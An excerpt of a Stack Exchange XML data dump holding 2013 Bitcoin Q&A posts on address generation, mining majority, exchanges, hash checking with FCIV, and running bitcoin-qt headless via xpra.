  <row Id="14010" PostTypeId="2" ParentId="14008" CreationDate="2013-10-23T11:40:33.310" Score="1" Body="&lt;p&gt;There is a chance that someone took your coins by hacking into your computer and copying your wallet.  However, if this is the case, you should be able to load your wallet and see the out payment transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, search your payment address at &lt;a href=&quot;http://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;BlockChain.Info&lt;/a&gt;  BlockChain.Info is possibly the best block explorer for bitcoin.  It's a good place to do research.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-10-23T11:40:33.310" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14011" PostTypeId="2" ParentId="14006" CreationDate="2013-10-23T12:36:56.747" Score="8" Body="&lt;p&gt;The majority needs to be trusted, but not weighted by their number of software instances, but by either computational power or economic power, depending on the context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main technical assumption is that the majority of hashrate is not trying to attack the network. So an attacker would need to purchase and operate more hashrate than the rest of the network combined; this isn't easy.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-10-23T12:36:56.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14013" PostTypeId="1" CreationDate="2013-10-23T13:47:38.943" Score="2" ViewCount="419" Body="&lt;p&gt;From a perspective of generating collisions, it appears that many of the steps outlined in &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&lt;/a&gt; do not need to be computed by any would be attacker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For any address which has spent an input, the ECDSA public key is in the block chain, rendering steps 2-9 unneeded to check for a collision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For any address which has not spent any inputs, the RIPEMD-160(SHA-256(publickey)) is available in the blockchain, rendering steps 4-9 unneeded to check for a collision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, what purpose do steps 4 through 9 of the address generation serve? Why not simply BASE58(0x00 RIPEMD-160(SHA256(publickey)))?&lt;/p&gt;&#xA;" OwnerUserId="7157" LastActivityDate="2013-10-23T16:10:26.143" Title="What are steps 4-9 in bitcoin address generation for?" Tags="|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14014" PostTypeId="1" CreationDate="2013-10-23T14:33:32.850" Score="0" ViewCount="195" Body="&lt;p&gt;Is there a trusted payment processor that is secure and is able to do the sequence of actions detailed below?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Accept credit card transactions from customers and apply them to purchasing bitcoin &amp;amp; then&lt;/li&gt;&#xA;&lt;li&gt;Send the newly purchased bitcoins through a series of e-wallets&lt;/li&gt;&#xA;&lt;li&gt;Before converting the bitcoins into USD and making a final deposit into the Merchant's bank account of choice&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In addition, if there is a more suitable cryptocurrency than bitcoin than I am happy to use an altcoin. &lt;/p&gt;&#xA;" OwnerUserId="7240" LastActivityDate="2013-10-23T23:10:36.850" Title="Is there a plug in for credit card charges to be converted automatically into bitcoin" Tags="|currencies|payment|payment-processors|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14015" PostTypeId="2" ParentId="14013" CreationDate="2013-10-23T16:05:14.607" Score="3" Body="&lt;p&gt;Steps 5 to 8 are the checksum (a rudimentary error detection code). They make sure that if the user makes a typo when writing down the address, the resulting address will be invalid and the coins will not be sent to oblivion. (The checksum used isn't perfect so this could happen, but rare)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, step 4 is the version byte, it makes sure that humans looking at the address understand what it represents - pay to pubkey hash, pay to script hash, or a different network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2 and 3 make sure that receiving funds does not require publishing the public key. This helps if ECDSA is compromised, either by algorithm research or quantum computers. For this and other reasons, it is recommended to avoid receiving funds to an address from which funds were previously sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've mentioned &quot;check for a collision&quot; in your question - none of the steps serve to check for a collision, it is assumed that collisions are impossibly unlikely.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2013-10-23T16:10:26.143" LastActivityDate="2013-10-23T16:10:26.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14016" PostTypeId="2" ParentId="7972" CreationDate="2013-10-23T17:53:58.967" Score="-1" Body="&lt;p&gt;You have to go through the blockchain and create your own cache. I don't know of any service available that allows you to run a query like this on their API. Too many people use blockchain.info anyway, so it would be valuable to have other entities providing their data to the network.&lt;/p&gt;&#xA;" OwnerUserId="6024" LastActivityDate="2013-10-23T17:53:58.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14018" PostTypeId="2" ParentId="13999" CreationDate="2013-10-23T17:56:52.220" Score="4" Body="&lt;p&gt;Miners could cheat this game, by withholding blocks that would cause them to lose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simplicity, let's assume the game is designed for approximately 50/50 odds (say, players are betting on the first bit of hmac_sha512(block_hash, trans_id)).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A mining cartel could do the following.  The cartel members pool their coins and place a single large bet at your casino (say BTC 1000).  If they solve the next block before anyone else on the network, they compute the hash of the block hash and transaction id, and determine whether this block hash would win their bet.  If it would, they post it, and collect their winnings (and their BTC 25 block reward).  If it wouldn't, they throw it away and keep mining (and forfeit BTC 25).  This cuts their effective hashing rate in half, but means that every time they do find a good block, they have a guaranteed win of BTC 1000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This introduces a bias into the game, proportional to the fraction of the network's hashing power that the cartel controls.  But even a slight bias, over large bets and a long time, could let the cartel clean up at the casino's expense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worse, since the cartel's activities are profitable for all its members, there'd be an incentive for more miners to join the cartel, which makes the bias stronger.  In the limit, every miner on the network joins the cartel, and the cartel wins 100% of its bets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solo miner could mount a similar attack.  Alice creates a transaction that bets BTC 1000 at the casino, but doesn't publish it to the p2p network.  Instead, she includes it in the blocks that she hashes.  When she solves a block, she checks its hash to determine if it would win her bet.  If so, she publishes it.  (Maybe, to be a little less obvious, she will post her bet transaction on the p2p network and wait a few seconds before publishing the block, and hope that nobody solves another block in the meantime.)  If the block doesn't win her bet, she discards it.  As in the previous case, her effective hashing rate drops by half, but she wins every single bet that she makes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Provably fair&quot; can be counterintuitive.  The way to make a provably fair game is &lt;em&gt;not&lt;/em&gt; to bet on some external phenomenon that you think neither party can predict or influence; often the parties will surprise you, and in any case it's not usually easy to prove that they can't.  Provably fair systems instead bet on something that's &lt;em&gt;determined&lt;/em&gt; by the inputs of both parties (with no external input), but determined in such a way that either party can assure a fair result by choosing their input to be truly random.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-10-23T17:56:52.220" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14019" PostTypeId="2" ParentId="14006" CreationDate="2013-10-23T18:39:11.857" Score="4" Body="&lt;p&gt;You slightly misunderstood the concept of majority here. Bitcoin relies on the majority of trusted computational power. So it does not matter if there will be billions of small clients controlled by the same owner if they are not powerful enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main idea in the beginning was that each client is running independently. So if there will be a lot of independent clients, then for any person who would try to harm the system by combining a lot of computational power (and thus manipulating the results) it would be really hard, because he would be outnumbered by a trusted majority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with the idea of mining pools a lot of things has changed. If you will look &lt;a href=&quot;https://blockchain.info/pools&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;: you will see that 3 major mining pools control more then 51% of hashrate. &lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-10-23T18:39:11.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14020" PostTypeId="2" ParentId="10436" CreationDate="2013-10-23T20:00:46.937" Score="0" Body="&lt;p&gt;Bit Pay's exchange rates are between 5 &amp;amp; 10% lower than the MT Gox quoted market rates. This is not made clear on their website. They advertise a rate of 1% flat which is misleading. &lt;/p&gt;&#xA;" OwnerUserId="7242" LastActivityDate="2013-10-23T20:00:46.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14021" PostTypeId="2" ParentId="14014" CreationDate="2013-10-23T23:10:36.850" Score="1" Body="&lt;p&gt;No, and there likely will never be. The reason for this is that bitcoin transactions (and all other crypto currencies as far as I know) are none reversible while credit cards transactions are, for up to about a month at most banks. This means that if someone buys bitcoins with stolen credit card information and you give them the bitcoins, and then a week later the bank tells you the transaction was fraudulent, you will have to return the money, but you are never getting the bitcoins back. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A way around this would be for the seller to hold on to the bitcoins for a month and wait for the credit card transactions to definitely go through before dispersing the coins, but with the price of bitcoin as volatile as it is, I don't see this happening. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-10-23T23:10:36.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14022" PostTypeId="1" CreationDate="2013-10-24T06:18:27.463" Score="3" ViewCount="230" Body="&lt;p&gt;My understanding of bitcoinj is that it is used to implement a &quot;thin client&quot; that doesn't store the entire blockchain- just the headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use the WalletAppKit, it creates a file &quot;default.spvchain&quot; that is 626Kib. This could easily fit in memory, so why is SPVBlockStore (using memory mapped file) used? Wouldn't MemoryBlockStore be a better choice?&lt;/p&gt;&#xA;" OwnerUserId="4273" LastActivityDate="2013-11-17T20:30:25.457" Title="In bitcoinj, why is MemoryBlockStore not used by default?" Tags="|bitcoinj|thin-clients|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14023" PostTypeId="2" ParentId="2972" CreationDate="2013-10-24T07:08:10.540" Score="0" Body="&lt;p&gt;I have to send a big shout out for the crew at my two favorite exchanges bitXoin [https://www.bitXoin.com/] and spendbitcoins [www.spendbitcoins.com.au] as they are both local to me (Gold Coast) and fast, safe and professional to deal with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, if you want to buy bitcoins over the counter and you are in the Gold Coast area then visit the bitXoin offices there at Chevron Renaissance Centre in Surfers Paradise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prices are very low (basically lower than Mt. Gox prices) and processing happened within an hour or two depending on what time I get the deposit into the bank (mornings seem slightly faster).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I have no affiliation with any bitcoin companies and my opinion is based on over 10 seperate transactions since start of 2013. Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="5800" LastActivityDate="2013-10-24T07:08:10.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14024" PostTypeId="1" CreationDate="2013-10-24T07:08:52.763" Score="-2" ViewCount="234" Body="&lt;p&gt;The BTC/USD is down 10.38% at the moment. &#xA;Does anyone know what happend? &lt;/p&gt;&#xA;" OwnerUserId="7246" LastActivityDate="2013-10-24T11:55:04.830" Title="What's causing the drop today?" Tags="|economic-theory|" AnswerCount="3" CommentCount="1" ClosedDate="2013-10-25T14:51:19.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="14025" PostTypeId="2" ParentId="10467" CreationDate="2013-10-24T07:30:45.340" Score="1" Body="&lt;p&gt;You can also try &lt;a href=&quot;http://www.ringingliberty.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;this setup&lt;/a&gt;, by another fellow &lt;a href=&quot;https://stackexchange.com/users/1068389/michael-hampton&quot;&gt;StackExchange member&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you might want to take the &lt;strong&gt;easier route and use a &lt;a href=&quot;https://bitpay.com&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Payment Gateway&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3381" LastEditorUserId="1567" LastEditDate="2014-11-22T17:26:45.633" LastActivityDate="2014-11-22T17:26:45.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14026" PostTypeId="2" ParentId="14024" CreationDate="2013-10-24T08:09:15.700" Score="-1" Body="&lt;p&gt;someone sold a lot, causing a panic probably.&#xA;but it is up 50% in ten days, so nothing to worry about :)&lt;/p&gt;&#xA;" OwnerUserId="7247" LastActivityDate="2013-10-24T08:09:15.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14027" PostTypeId="2" ParentId="13995" CreationDate="2013-10-24T08:56:57.073" Score="2" Body="&lt;p&gt;You can click Tools-&gt; Reset Blockchain and Transactions. &lt;/p&gt;&#xA;" OwnerUserId="7002" LastActivityDate="2013-10-24T08:56:57.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14029" PostTypeId="2" ParentId="11499" CreationDate="2013-10-24T09:24:41.393" Score="-2" Body="&lt;p&gt;Bitcoin is definitely in its infancy.  I have bank accounts all over the world in USD, GBP, and CHF.  I have accounts on Coinbase, BTC-e, CampBX, Mt. Gox, Bitstamp, LocalBitcoins, and others.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, it is next to impossible to move fiat currency to these exchanges.  In fact, I have only ever been able to buy bitcoins on Localbitcoins, thanks to the immediate transfer facility in the U.K. banking system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For people who want to buy in USD, which is where the major exchange volumes are, there has not been a way to transfer USD to an exchange without a currency exchange, bank and exchange fees, and a long wait.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CampBX is adding ACH transfer on November 20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase not only requires all bank and credit cards to be based in the U.S., they also require the holder to be based in the U.S.  This essentially restricts Coinbase to the 4% of the world that lives in the U.S.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is frustrating watching the volatile price action and being unable to trade because I can't get fiat to the exchanges.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastEditorUserId="7002" LastEditDate="2013-10-24T09:55:29.553" LastActivityDate="2013-10-24T09:55:29.553" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14031" PostTypeId="2" ParentId="14024" CreationDate="2013-10-24T09:36:53.460" Score="0" Body="&lt;p&gt;It's just a correction. It happens sooner or later.&lt;/p&gt;&#xA;" OwnerUserId="4747" LastActivityDate="2013-10-24T09:36:53.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14032" PostTypeId="1" CreationDate="2013-10-24T09:49:09.330" Score="0" ViewCount="1036" Body="&lt;p&gt;In various places on Ripple Wiki we can see the type &lt;code&gt;Hash256&lt;/code&gt; (for example &lt;a href=&quot;https://ripple.com/wiki/Transaction_Format&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;). What data structure is it exactly? Is it just a 256 byte array, or are there some rules governing this type (and preventing potential misuse)?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-10-25T20:19:50.670" Title="In Ripple, what exactly is &quot;Hash256&quot;?" Tags="|ripple|raw-data|hash|standard|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14033" PostTypeId="2" ParentId="12899" CreationDate="2013-10-24T11:03:37.797" Score="1" Body="&lt;p&gt;It depends where you live, what currency you want to trade in and where your bank account is domiciled.   I live in the U.K., and have bank accounts in various currencies and countries around the world.  For me, localbitcoins in GBP has been the best solution.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your situation may be different because withdraw/deposit times will depend on your financial institutions, the desired currency, and the transfer method you choose.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastActivityDate="2013-10-24T11:03:37.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14034" PostTypeId="2" ParentId="13717" CreationDate="2013-10-24T11:06:47.077" Score="0" Body="&lt;p&gt;All exchanges require detailed address and identity information.  In the U.K., the two exchanges are BitBargain and LocalBitcoins.  Both have the same policy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My experience is that Bitcoin exchanges have the same or higher standards as do banks.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastActivityDate="2013-10-24T11:06:47.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14035" PostTypeId="2" ParentId="8222" CreationDate="2013-10-24T11:09:10.277" Score="0" Body="&lt;p&gt;I would sell them on LocalBitcoins. The current link is &lt;a href=&quot;http://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://localbitcoins.com&lt;/a&gt; That way, the buyer's money is transferred directly to your U.K. bank account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another site that does the same thing is BitBargain.  The link is &lt;a href=&quot;http://bitbargain.co.uk&quot; rel=&quot;nofollow&quot;&gt;http://bitbargain.co.uk&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastEditorUserId="7002" LastEditDate="2013-10-24T12:52:52.937" LastActivityDate="2013-10-24T12:52:52.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14037" PostTypeId="2" ParentId="3920" CreationDate="2013-10-24T11:30:13.283" Score="2" Body="&lt;p&gt;In my opinion, you should not use Mt. Gox as an indication of the price of Bitcoin.  The price on Mt. Gox is significantly higher than the other exchanges, because sellers must be compensated for the difficulty of getting their money off the site.  Instead, you might use BTC-e for pricing info. Here is the chart you ask for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoincharts.com/charts/btceUSD#rg1ztgSza1gWMAzm1g10zm2g25zvzcv&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts/btceUSD#rg1ztgSza1gWMAzm1g10zm2g25zvzcv&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7002" LastActivityDate="2013-10-24T11:30:13.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14039" PostTypeId="2" ParentId="14024" CreationDate="2013-10-24T11:55:04.830" Score="2" Body="&lt;p&gt;Individuals playing Bitcoin for short-term investment make decisions based on history and round numbers. When you stack up some Bitcoin and they appreciate in value, you need to decide when to dump your Bitcoin for dollars before the value goes back down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For many shorting Bitcoin, $200 was the magical number established back in April. When these people sell on the same day, then we have a lot of demand for Bitcoin satisfied and prices down.&lt;/p&gt;&#xA;" OwnerUserId="5410" LastActivityDate="2013-10-24T11:55:04.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14040" PostTypeId="2" ParentId="2972" CreationDate="2013-10-24T12:17:44.027" Score="0" Body="&lt;p&gt;These people are Australian-based, and accept AUD.  They also have a merchant service.  I haven't tried them yet, maybe when the price goes down again...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://coinjar.io/&quot; rel=&quot;nofollow&quot;&gt;http://coinjar.io/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5918" LastActivityDate="2013-10-24T12:17:44.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14041" PostTypeId="1" CreationDate="2013-10-24T13:23:44.233" Score="1" ViewCount="216" Body="&lt;p&gt;This may seem trivial, but for someone who knows little about this lebvel of security and wanting to really get it right first time, I found it quite offputting ... whereas the suggested process should be confidence-building, no?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;============================================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL:  &lt;a href=&quot;https://multibit.org/blog/2013/07/24/how-to-check-signatures.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/blog/2013/07/24/how-to-check-signatures.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;============================================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;quoting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1 - SHA1 in action&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first step on the road to security is access to strong cryptography. We'll start by creating a simple one line text file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$ echo &quot;Hello world&quot; &gt; example.txt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above has an expected SHA1 hash of 33ab5639bfd8e7b95eb1d8d0b87781d4ffea4d5d which we will now attempt to verify. Depending on your operating system you'll need to install a few applications in a particular order to establish a solid trust foundation.&#xA;Windows - install FCIV&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Microsoft's File Checksum Integrity Verifier (FCIV) is a command line tool that provides access to SHA1 checksums.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once installed, you can test it out on your example file as follows&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;fciv.exe -sha1 example.txt&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;==================================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was not clear to me precisely what the 'example.txt' file should contain.  If I entered the supplied line into a DOS box it didn't seem to work (in terms of creating a text file).  So I decided to create the text file myself..  Reading the line literally the text to include should be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$ echo &quot;Hello world&quot; &gt; example.txt&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or maybe just:&#xA;$ echo &quot;Hello world&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or maybe just&#xA;Hello world&lt;/p&gt;&#xA;&#xA;&lt;p&gt;??  Anyway, I tried loads of options and at no time could I get fciv.exe to generate the given key!!  &gt;8-(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Giving up after 30 mins I tried the quick brown fox test easily found in Wikipedia and it worked first time, so the software is working and it is something to do with the suggested text file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this seems pedantic but if even very simple things don't check out, then it does not help confidence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="7252" LastActivityDate="2013-11-05T03:15:54.043" Title="Multibit - error (or at least confusion) in 'How to check digital signatures&quot; info for noobs" Tags="|multibit|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14042" PostTypeId="2" ParentId="14041" CreationDate="2013-10-24T14:38:33.213" Score="0" Body="&lt;p&gt;Running the same test on Windows 7, the FCIV program returned:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;25e64db6d4d1d6116ffe0b317918c98f3624cbed example.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perhaps this is the same value you found.  The example.txt file is 16 bytes long and, in addition to the words, it contains two double-quote characters, a space, carriage-return and linefeed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying the corresponding experiment under Linux, the 33ab... checksum was returned. There were a couple of differences in the text files between Windows in Linux: the double quotes and extra space were not in the file, and the line ending was a linefeed only. Using Notepad++, I was able to edit the Windows file to generate the same checksum by fixing the differences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom line, the writer should have tried his demonstration on all platforms before assuming the answer would be the same.&lt;/p&gt;&#xA;" OwnerUserId="137" LastActivityDate="2013-10-24T14:38:33.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14043" PostTypeId="2" ParentId="13971" CreationDate="2013-10-24T14:55:54.567" Score="2" Body="&lt;p&gt;You don't get the bitcoins themselves.  Your investment fluctuates in response to the exchange rate.  From the brothers W:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The investment objective of the Trust is for the Shares to &lt;strong&gt;reflect the&lt;/strong&gt;&#xA;  *&lt;em&gt;performance&lt;/em&gt;* of a weighted average price of Bitcoins, less the Trust’s&#xA;  expenses.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, if the average exchange rate USD/BTC is $230, and you buy $230 worth of the ETF, when the average rate goes to $250, you could sell the ETF shares for around $250 (&quot;less the Trust's expenses&quot;).  All of your transactions would have taken place on a US stock exchange, using US dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;strong&gt;could&lt;/strong&gt; do this yourself, by buying and selling BTC on a variety of exchanges, but your profits would be more than eaten up with the commissions for buying and selling.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ETF, on the other hand, would presumably have the benefit of volume, and may not even have to invest all incoming funds when there are outgoing funds (from redemptions) at the same time.&lt;/p&gt;&#xA;" OwnerUserId="137" LastActivityDate="2013-10-24T14:55:54.567" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14045" PostTypeId="1" AcceptedAnswerId="14050" CreationDate="2013-10-24T15:11:27.667" Score="1" ViewCount="764" Body="&lt;p&gt;They say they will generate new address for each deposit. If I want to split my bitcoin transaction in multiple parts but send one after another, can I use the same address more often?&lt;/p&gt;&#xA;" OwnerUserId="3120" LastActivityDate="2013-10-24T17:41:51.247" Title="Can I use same bitcoin address for Mt.Gox deposit multiple times?" Tags="|transactions|address|mtgox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14049" PostTypeId="2" ParentId="13788" CreationDate="2013-10-24T16:57:32.717" Score="1" Body="&lt;p&gt;The issue with FinCEN and Regulatory compliance is this- How do they know that the Bitcoin Mr X is trading, exchanging, using, purchasing etc was not just gained for the sale of child porn, drugs, internet gambling, etc. A credit card company can block internet gambling, it can disallow the use of its card to openly pay for illegal stuff like drugs, explosives whatever. So a credit card has a much wider use case than bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the challenge we are trying to overcome when it comes to providing services for the btc industry. A key piece in MSB activity is being bonded. As of now no bonding company (that we know of) wants to assume the risk. So even though we are a licensed MSB, we want to provide btc services we cannot comply with the regulatory requirements. One of which is bonding. We also need banks to take on the FBO accounts and right now they don't seem to want to do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So right now btc can be used within a relatively small environment (in comparison to a credit card or cash) but it will never be widely accepted by commerce until some very real problems can be solved. So I am not even sure if legality or being able to define its legality is relevant right now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest boon and benefit to bitcoin will come when someone finds a way to substantially show that the btc in my wallet did not come from illicit activity. Once that happens btc will be much easier to use and will hopefully become commonplace. &lt;/p&gt;&#xA;" OwnerUserId="6188" LastActivityDate="2013-10-24T16:57:32.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14050" PostTypeId="2" ParentId="14045" CreationDate="2013-10-24T17:41:51.247" Score="2" Body="&lt;p&gt;Of course you can. The reason for using different address every time is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;to provide you more anonymity. It will be harder for people to&#xA;associate your with your other addresses (but not impossible)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But if you need to make many transactions, it might be a little bit tedious. So it is up to you to decide what exactly do you want.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-10-24T17:41:51.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14054" PostTypeId="2" ParentId="9530" CreationDate="2013-10-24T20:31:08.493" Score="4" Body="&lt;p&gt;Assuming you're using a Linux-based system, &lt;a href=&quot;http://xpra.org/&quot; rel=&quot;nofollow&quot;&gt;Xpra&lt;/a&gt; is a great tool for running GUI apps headless and attaching to them on a remote system. Make sure you install a recent version from one of the &lt;a href=&quot;http://winswitch.org/downloads/debian-repository.html&quot; rel=&quot;nofollow&quot;&gt;Winswitch repositories&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tried the Winswitch front-end since command line usage is so simple. Just do this on your server:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xpra start :7&#xA;DISPLAY=:7 bitcoin-qt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this on the client:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xpra attach ssh:my.server.ip:7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="214" LastActivityDate="2013-10-24T20:31:08.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14055" PostTypeId="1" AcceptedAnswerId="14277" CreationDate="2013-10-24T20:57:22.457" Score="17" ViewCount="3550" Body="&lt;p&gt;Is there a step-by-step tutorial or any documentation covering how to create a transaction that is not a standard &lt;code&gt;OP_DUP OP_HASH160 &amp;lt;pubKeyHash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems very odd that there is absolutely no documentation or information covering how to create a transaction like this, when it is one of Bitcoin's greatest advantages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe a link to some open-source software which creates custom script transactions would be helpful. I don't know of any that exist off hand though.&lt;/p&gt;&#xA;" OwnerUserId="6024" LastActivityDate="2017-11-25T06:00:08.953" Title="How to create a transaction with a custom script?" Tags="|transactions|script|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
